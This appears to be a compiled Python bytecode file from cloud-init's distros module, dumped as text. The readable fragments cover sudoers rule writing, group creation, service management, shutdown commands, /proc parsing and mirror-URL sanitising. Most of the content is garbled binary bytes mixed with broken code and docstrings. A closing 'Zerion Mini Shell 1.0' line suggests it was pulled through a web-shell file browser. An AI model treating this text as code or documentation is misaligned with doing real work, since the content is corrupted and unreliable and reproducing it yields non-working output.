�W�W�^�^�,�
-�#�2�2�3C�D���
�$�/�/�1�	�D��:�:�<�D��I�I�&A�4�H�M� ��(�.�.�q�1�7�7�9�L����7�7�?�?�<�8�L��t�#� $�
��	��
�"�5���(�(�g�6�(�D�1��
�E�(����!:�<L�M�$��	�	�%�(8�8�$��O�O�I�/?��G���(�(�g�6�(�D�1��	�E�(,�y�y��'7�$��$�$�Y�0@�A��	�	�8�$�	�J�	
����e�$���
����C�!5�y�A����
�s�?B?G�	H�G;�;Hc��|s|j}dd|zg}t|ttf�r|D]}|j	|�d|����nJt|t
�r|j	|�d|���n#d}t
|tj|�z��dj|�}|dz
}|jtjj|��tjj|�s>tj �|g}	tj"|dj|�d�y|tj*|�vr	tj,||�yy#t$$r"}	tj&t(d|�|	�d}	~	wwxYw#t$$r"}	tj&t(d|�|	�d}	~	wwxYw)	Nr4z# User rules for %s� z1Can not create sudoers rule addition with type %rr�r�zFailed to write sudoers file %sz#Failed to append to sudoers file %s)�
ci_sudoers_fnr~r�r�r�r�	TypeErrorr�obj_namer�r
r�r��dirnamer)rr=rBr�rr�r<r�)
rrr�r��	sudo_filer�r�r�r�rLr�s
          rTr�zDistro.write_sudo_rules�s�����*�*�I�
�!�D�(�
���e�d�E�]�+��
5������d�3�4�
5�
��s�
#��L�L�D�%�0�1�E�C��C�:�#6�#6�u�#=�>�?�?��)�)�E�"���4������R�W�W�_�_�Y�7�8��w�w�~�~�i�(�� � �"���H�
����	�4�9�9�X�+>��F�
�d�1�1�)�<�<���$�$�Y��8�=��	�
����C�!B�I�N����
�����K�K��B�I���G��	�s0�&E%�
F�%	F�.F�F�	F>�F9�9F>c�J�d|g}tj�r|jd�|sg}tj|�rtjd|�n,	t
j|�tjd|�t|�dkDrf|D]`}tj|�stjd||��0t
jdd	d
||g�tjd||��byy#t$rtjtd|�Y��wxYw)N�groupaddrXz(Skipping creation of existing group '%s'zCreated new group %szFailed to create group %srzCUnable to add group member '%s' to group '%s'; user does not exist.r�z-az-GzAdded user '%s' to group '%s')rrqr�rur�r�rr�r�rr�ro)rrrf�members�
group_add_cmd�members     rTrvzDistro.create_groups��#�T�*�
�� � �"�� � ��0���G��=�=����K�K�B�D�I�
D��	�	�-�(����/��6�
�w�<�!��!�
H���|�|�F�+��K�K�1���	���	�	�9�d�D�$��?�@����8�&�$�G�
H���	�
D����C�!<�d�C�
D�s�+C;�;$D"�!D"c���d|j|g}	|dk7rdt|�z}||gz}|r|j	|�|S#t$r}td|�d��|�d}~wwxYw)N�shutdown�nowz+%dz;power_state[delay] must be 'now' or '+m' (minutes). found 'z'.)�shutdown_options_map�intr�rr�)�clsr9�delay�messager�r�r�s       rT�shutdown_commandzDistro.shutdown_command(s����s�7�7��=�>��	���~���E�
�*���%�� ����K�K�� �����	��"'�*���
��	�s�A�	A�
A�Ac�|�|j}|j�sd|vr|dg}tj|d|��Sy)zX
        Reload systemd startup daemon.
        May raise ProcessExecutionError
        �	systemctlz
daemon-reloadT�r�r�N)rXr�r)rr�rXr�s    rT�reload_initzDistro.reload_init9sB���<�<��������!8��_�-�C��9�9�S�$�C�8�8�"9rSr��action�
extra_argsc	��|j}|j�sd|vrdg}d|gd|gd|gd|gd|gd|gd|gd	|gd
�}n|dg|dg|dg|dg|dg|dg|dg|d	gd
�}|||zt|�z}tj|d|��S)
z�
        Perform the requested action on a service. This handles the common
        'systemctl' and 'service' cases and may be overridden in subclasses
        as necessary.
        May raise ProcessExecutionError
        r!�stop�start�enable�disable�restartzreload-or-restartzreload-or-try-restart�status)r'r(r)r*r+�reloadz
try-reloadr,Tr")rXr�r�r)rr$rWr�r%rX�cmdsr�s        rT�manage_servicezDistro.manage_serviceDs����<�<��������!8�#�}�H���)�!�7�+�#�W�-�%�w�/�%�w�/�.��8�6��@�#�W�-�	�D�!�&�)�!�7�+�"�G�,�#�V�,�#�Y�/�"�I�.�&�	�2�"�H�-�	�D���f��%��Z�(8�8���y�y��d��4�4rS�layout�model�variantr�c�n�|j�rtjdd||||g�yt��)N�	localectlzset-x11-keymap)r�rr�)rrr0r1r2r�s     rT�
set_keymapzDistro.set_keymapis<�������I�I��$�����
�	
�&�'�'rSc��tjd��}tj|d�s|Stj
j
|jdd�S)NT)�	needs_exe�noexecz
cloud-init�clouddir)r�get_tmp_ancestorr�
has_mount_optr�r�r��usr_lib_exec)rr�tmp_dirs  rT�get_tmp_exec_pathzDistro.get_tmp_exec_pathxsD���-�-��=���!�!�'�8�4��N��w�w�|�|�D�-�-�|�Z�H�HrSr�r��cwdc
�v�|rd|�d�nd}tjdd|d|dzdj|�zgfi|��S)	a`
        Perform a command as the requested user. Behaves like subp()

        Note: We pass `PATH` to the user env by using `env`. This could be
        probably simplified after bionic EOL by using
        `su --whitelist-environment=PATH ...`, more info on:
        https://lore.kernel.org/all/20180815110445.4qefy5zx5gfgbqly@ws.net.home/T/
        zcd z && r4�surLz-czenv PATH=$PATH r)rr�)rrr�r�r?ry�	directorys      rT�do_aszDistro.do_as~sX��(+�c�#��d�O��	��y�y������-�-�����0A�A�
�	
��	
�		
rSr��
lease_file�pid_file�	interface�config_filec	�2�|ddd|d|ddg	|rd||gzS|gzS)Nz-1z-vz-lfz-pfz-sfz	/bin/truez-cfrR)r�rDrErFrGs     rT�build_dhclient_cmdzDistro.build_dhclient_cmd�sS��
���������

�1<�e�[�)�
,�
N�
	N�CL��
N�
	NrSc��|j�Etj�|_|js tj	d|j
�|jS)zADetermine the network interface used during local network config.z0Did not find a fallback interface on distro: %s.)rpr�find_fallback_nicr�r�rfrs rT�fallback_interfacezDistro.fallback_interface�sN���#�#�+�'*�'<�'<�'>�D�$��+�+����F��I�I���'�'�'rSc��||_yr�)rp)rrr�s  rTrLzDistro.fallback_interface�s
��#(�� rS�pidc���tj|d�}|�$tt�5t	|�cddd�Sy#1swYnxYwt
j
d||��%)�=Return the parent pid of a process by parsing /proc/$pid/statr�Nz&/proc/%s/stat has an invalid ppid [%s]�rV�_get_proc_stat_by_indexrr�rr�r��rN�matchs  rT�
get_proc_ppidzDistro.get_proc_ppid��\���.�.�s�A�6�����*�%�
"��5�z�
"�
"��
"�
"���K�K�@�#�u�M��	�>�Ac���tj|d�}|�$tt�5t	|�cddd�Sy#1swYnxYwt
j
d||��%)rP�Nz&/proc/%s/stat has an invalid pgid [%s]rQrSs  rT�
get_proc_pgidzDistro.get_proc_pgid�rVrW�fieldc��	tjd|zd��j�}tjd|�}|st
j
d||�yt|j|��S#t$r!}t
j
d||�Yd}~yd}~wt$rt
j
d||�YywxYw)	z�
        parse /proc/$pid/stat for a specific field as numbered in man:proc(5)

        param pid: integer to query /proc/$pid/stat for
        param field: field number within /proc/$pid/stat to return
        z
/proc/%s/statT)�quietz,^(\d+) (\(.+\)) ([RSDZTtWXxKPI]) (\d+) (\d+)z*/proc/%s/stat has an invalid contents [%s]Nz Failed to load /proc/%s/stat. %sz4Unable to match field %s of process pid=%s (%s) (%s))rr<rtr�r�r�r�rr�r��
IndexError)rNr[r�rTr�s     rTrRzDistro._get_proc_stat_by_index�s���	��.�.��#�%�T���e�g�
��I�I�?���E�����@�#�w����u�{�{�5�)�*�*���	D��K�K�:�C��C�C����	��K�K�F�����
��	�s$�AA4�A4�4	C�=B�%C�C�devicec���d}tjd�rd|g}n3tjd�rdd|g}ntjddd���tj|�y)N�ejectz/lib/udev/cdrom_idz
--eject-media�eject_media_cmdzeject command not foundz.neither eject nor /lib/udev/cdrom_id are found)r��description�reason)rr�r)r_r�s  rT�eject_mediazDistro.eject_media�s_�����:�:�g���F�#�C�
�Z�Z�,�
-�'��&�A�C��,�,�%�5�G��
�
	
�	�	�#�rS�blockdevc��tjj|�}|jd�rtjd||�|Sy)aReturns underlying block device for a mapped device.

        If it is mapped, blockdev will usually take the form of
        /dev/mapper/some_name

        If blockdev is a symlink pointing to a /dev/dm-* device, return
        the device pointed to. Otherwise, return None.
        z/dev/dm-z$%s is a mapped device pointing to %sN)r�r��realpath�
startswithr�r�)rfrhs  rT�get_mapped_devicezDistro.get_mapped_device�sC���7�7�#�#�H�-�����z�*��I�I�6��(�
��O�rS�devpathc��tjj|�}tjj|�}d|z}tjj	|�st|�d|�d���tjj
|d�}tjj	|�std|z��tj|�j�}tjj|�}tjj|�}tjtjj
|d��j�}tjjd|z�}	|	|fS)z�convert an entry in /dev/ to parent disk and partition number

        input of /dev/vdb or /dev/disk/by-label/foo
        rpath is hopefully a real-ish path in /dev (vda, sdb..)
        z/sys/class/block/%sz had no syspath (�)�	partitionz%s not a partition�devz
/dev/block/%s)r�r�rh�basenamer)r�r�rrr<�rstripr)
rk�rpath�bname�syspath�ptpath�ptnum�rsyspath�disksyspath�
diskmajmin�diskdevpaths
          rT�device_part_infozDistro.device_part_info
s ����� � ��)����� � ��'��'�%�/���w�w�~�~�g�&���'�J�K�K������g�{�3���w�w�~�~�f�%��0�7�:�;�;��#�#�F�+�2�2�4���7�7�#�#�G�,���g�g�o�o�h�/���(�(��G�G�L�L��e�,�
�
�&�(�	��g�g�&�&���'C�D��
�E�!�!rSc��y)a�Ensure that cloud-init has network connectivity.

        For most distros, this is a no-op as cloud-init's network service is
        ordered in boot to start after network connectivity has been achieved.
        As an optimization, distros may opt to order cloud-init's network
        service immediately after cloud-init's local service, and only
        require network connectivity if it has been deemed necessary.
        This method is a hook for distros to implement this optimization.
        It is called during cloud-init's network stage if it was determined
        that network connectivity is necessary in cloud-init's network stage.
        NrRrs rT�wait_for_networkzDistro.wait_for_network1s�rSr�)NN)F)z/etc/sudoers)r4)rwN)zrOrPrQ�pip_package_namer<r:r�r
r�r�r�r�r��
default_ownerrXrr�__annotations__rYr	r
rrOrrZrrrrjrkr^r$�_ci_pkl_versionr�resolve_conf_fnrarrbrurr{r��PackageListr
rrrr�r��propertyr"�
DhcpClientr�r!�NetworkActivatorr�r&r�r�r�r�r�r��staticmethodr��abc�abstractmethodr�r�r�r�r�r�boolrrrrrrr�rr�r�r'r2rMrQrTr�r�r�r�r�r�r�r�r�r�r�r�r
r�rv�classmethodrr#r/r5r>rCrIrL�setterrUrZrRrerjr�r{r}rRrSrTrVrV�sf��$���L��H��G�8�M�&���I�7��+:�<L�*M�'�'�K��M�$�+�H�d�3�i�%�?A��g�c�>�#�s�(�#;�;�<�A�!��'6�N�D��$�6�%)�d�d�K��$�-�-�G�T�&�\�-��O��K�(�O��M�/3��h�s�m�2�04��x��}�3��!��!��!�$	
�;�"�;�	�t�D��(�#�-�.��3�	4�;�83F��3F�j�95�T�_�_�95��95�v�	>�4�
�(C�(C�#D�	>��	>��
�(�
��
�5�H�5��0�$�1�
����	���$��$�/4�
��@�
�.����:	���$��$�	���$��$��$�	���$��$�	���$��$�	���$��$��"�����?4�B)L�V�+��+�/�w�$�w�r�6 �� �Dq�f�&*�#�*�X��(%��%�t�%��@"�H4%�l'�RH�@���� �9��9��>B�"5��"5�#&�"5�58�"5��"5�H
(��
(�S�
(�3�
(��
(�I�3�I�
�T�
��
�3�
�*�N��N��N��N��	N�
�N�
�
N��N�&�	(��	(����)��)���3��8�C�=������3��8�C�=������S�����#�����@��C��D������C��H�S�M����"�!"�#�!"�%�!"��!"�FrSrV)�	metaclass�url�transformationsc�Z�	tjj|�}|j}|�y|D]}||�}|��|cS|}|j
�dj
||j
�}tjj|j|���S#t$rYywxYw)a�
    Apply transformations to a URL's hostname, return transformed URL.

    This is a separate function because unwrapping and rewrapping only the
    hostname portion of a URL is complex.

    :param url:
        The URL to operate on.
    :param transformations:
        A list of ``(str) -> Optional[str]`` functions, which will be applied
        in order to the hostname portion of the URL.  If any function
        (regardless of ordering) returns None, ``url`` will be returned without
        any modification.

    :return:
        A string whose value is ``url`` with the hostname ``transformations``
        applied, or ``None`` if ``url`` is unparsable.
    Nz{}:{})�netloc)	�urllib�parse�urlsplitr�r��portr"�
urlunsplit�_replace)r�r��parts�new_hostname�transformation�
new_netlocs      rT�&_apply_hostname_transformations_to_urlr�?s���&����%�%�c�*���>�>�L����)���%�l�3�����J���J��z�z���^�^�J��
�
�;�
��<�<�"�"�5�>�>��>�#D�E�E��'����s�B�	B*�)B*c�F��tdz�d�d��fd�d�g}t||�S)aH
    Given a mirror URL, replace or remove any invalid URI characters.

    This performs the following actions on the URL's hostname:
      * Checks if it is an IP address, returning the URL immediately if it is
      * Converts it to its IDN form (see below for details)
      * Replaces any non-Letters/Digits/Hyphen (LDH) characters in it with
        hyphens
      * Removes any leading/trailing hyphens from each domain name label

    Before we replace any invalid domain name characters, we first need to
    ensure that any valid non-ASCII characters in the hostname will not be
    replaced, by ensuring the hostname is in its Internationalized domain name
    (IDN) representation (see RFC 5890).  This conversion has to be applied to
    the whole hostname (rather than just the substitution variables), because
    the Punycode algorithm used by IDNA transcodes each part of the hostname as
    a whole string (rather than encoding individual characters).  It cannot be
    applied to the whole URL, because (a) the Punycode algorithm expects to
    operate on domain names so doesn't output a valid URL, and (b) non-ASCII
    characters in non-hostname parts of the URL aren't encoded via Punycode.

    To put this in RFC 5890's terminology: before we remove or replace any
    characters from our domain name (which we do to ensure that each label is a
    valid LDH Label), we first ensure each label is in its A-label form.

    (Note that Python's builtin idna encoding is actually IDNA2003, not
    IDNA2008.  This changes the specifics of how some characters are encoded to
    ASCII, but doesn't affect the logic here.)

    :param url:
        The URL to operate on.

    :return:
        A sanitized version of the URL, which will have been IDNA encoded if
        necessary, or ``None`` if the generated string is not a parseable URL.
    r�c�4�tj|�rdS|Sr�)r�
is_ip_address�r�s rT�<lambda>z&_sanitize_mirror_url.<locals>.<lambda>�s���!2�!2�8�!<���(�rSc�B�|jd�jd�S)N�idna�ascii)�encode�decoder�s rTr�z&_sanitize_mirror_url.<locals>.<lambda>�s������0�7�7��@�rSc�8��dj�fd�|D��S)Nr4c3�.�K�|]}|�vr|nd���y�w�rLNrR)r�r��acceptable_charss  �rTr�z9_sanitize_mirror_url.<locals>.<lambda>.<locals>.<genexpr>�s#�����!
�45��&�&�A�C�/�!
�s�r�)r�r�s �rTr�z&_sanitize_mirror_url.<locals>.<lambda>�s������!
�9A�!
�
�rSc�P�djd�|jd�D��S)Nr�c3�>K�|]}|jd����y�wr�)rt)r��parts  rTr�z9_sanitize_mirror_url.<locals>.<lambda>.<locals>.<genexpr>�s����"
� $�D�J�J�s�O�"
�s�)r�rrr�s rTr�z&_sanitize_mirror_url.<locals>.<lambda>�s%�����"
�(0���s�(;�"
�
�rS)�LDH_ASCII_CHARSr�)r�r�r�s  @rT�_sanitize_mirror_urlr�js=���L'��,��	K�	A�	
�	
��O�"2�#��G�GrSc��|si}i}|rp|jrd|j|d<tjd|j�r5|jdd}tr	d|z|d<n|jdk(rd|z|d<|r|j
r|j
|d<i}|j
d	i�j�D]
\}}|||<�|j
d
i�j�D]C\}}g}	|D]'}
	|
|z}t|�}|��|	j|��)||	�}|s�?|||<�Etjd|�|S#t$rY�_wxYw)N�availability_zonez#^[a-z][a-z]-(?:[a-z]+-)+[0-9][a-z]$r���r��
ec2_region�ec2�region�failsafer�zfiltered distro mirror info: %s)
r�r�rTr�
platform_typer�r�r�r�r�r�r�r�)r�r��
mirror_filter�substr��resultsrf�mirror�
searchlist�mirrors�tmpl�founds            rTr�r��s�������E��{�4�4�%0�%B�%B��!�"��8�8�1��)�)�
�%�6�6�q��<�J�:�&*�Z�&7��l�#��*�*�e�3�&*�Z�&7��l�#��{�)�)�%�,�,��h���G�#���
�B�7�=�=�?����f����
��(�O�O�H�b�9�?�?�A�"���j����	'�D�
�����*�&�1�F��!����v�&�	'��g�&���!�G�D�M�"� �I�I�/��9��N���
��
�s�3E�	E�Ec�X�d}|D]"}|jd�}||vr|cSd|vs�!|}�$|S)N�archesr�)r�)r�r*r��itemr�s     rTr�r��sD���G�������(�#���6�>��K�����G���NrSrfrwc��tj|dtgdg�\}}|std|�d|�d���tj|d�}t|d�}|S)Nr4rVz!No distribution found for distro z (searched rmr)r�find_modulerO�ImportError�
import_module�getattr)rf�locs�looked_locs�modrs     rT�fetchr��sb�� �,�,�T�B��>�H�:�N��D�+����[�
"�
�	
��
 �
 ��a��
)�C�
�#�x�
 �C��JrSc�t�tj|t|�j�dz�|r�|r�tj
j
|�}|stj
j|�s.|rtj|�t	j||�ytj||�y)Nr�)rrBrrqr�r��islinkr)�del_file�symlink�copy)r�r��tz_conf�tz_localr�s     rT�set_etc_timezoner��s���	�O�O�G�S��W�^�^�-��4�5��G�������)���������1���
�
�h�'��J�J�w��)��
�I�I�g�x�(�
rSc��	tjd�}tj|j�S#t
$rYywxYw)Nz/run/systemd/systemF)r��lstat�stat�S_ISDIR�st_moder�)�ress rTr�r�s;����h�h�,�-���|�|�C�K�K�(�(������s�36�	A�A)Nz
/etc/timezonez/etc/localtime)Wr�r�r�r�r��string�urllib.parser��collectionsr�
contextlibr�ior�typingrrrr	r
rrr
rr�cloudinit.net.netops.iproute2r�netopsrj�	cloudinitrrrrrrrrr�cloudinit.distros.networkingrr�4cloudinit.distros.package_management.package_managerr�*cloudinit.distros.package_management.utilsr�cloudinit.distros.parsersr�cloudinit.featuresr�cloudinit.lifecycler �
cloudinit.netr!r"r#�cloudinit.net.netopsr$�cloudinit.net.network_stater%�cloudinit.net.rendererr&�ALL_DISTROSr!�	getLoggerrOr�rP�
ascii_letters�digitsr�rr�r�rN�CloudInitPickleMixin�ABCMetarVr�r�r��search_for_mirrorr�r�r�r�r�rRrSrT�<module>r�s�����	�	��
��#������1�0����E�O�M�+�J�;�5�5�'�=�+����j�
�H�
�H���"��;�'�����j��{�� 	
���!�;�/�I%�
�N�g����!��J���&�&����6��<�����I���M���c��O���s�D��I�~�	����s�D��I�w�&�	'�(�	*���	�I�	�{�[�
-�
-����{�|-(F��(F�d�(F�V8H�c�8H�x"��1G�1G�5�p	�	��	��V��	�9I��"rS

Zerion Mini Shell 1.0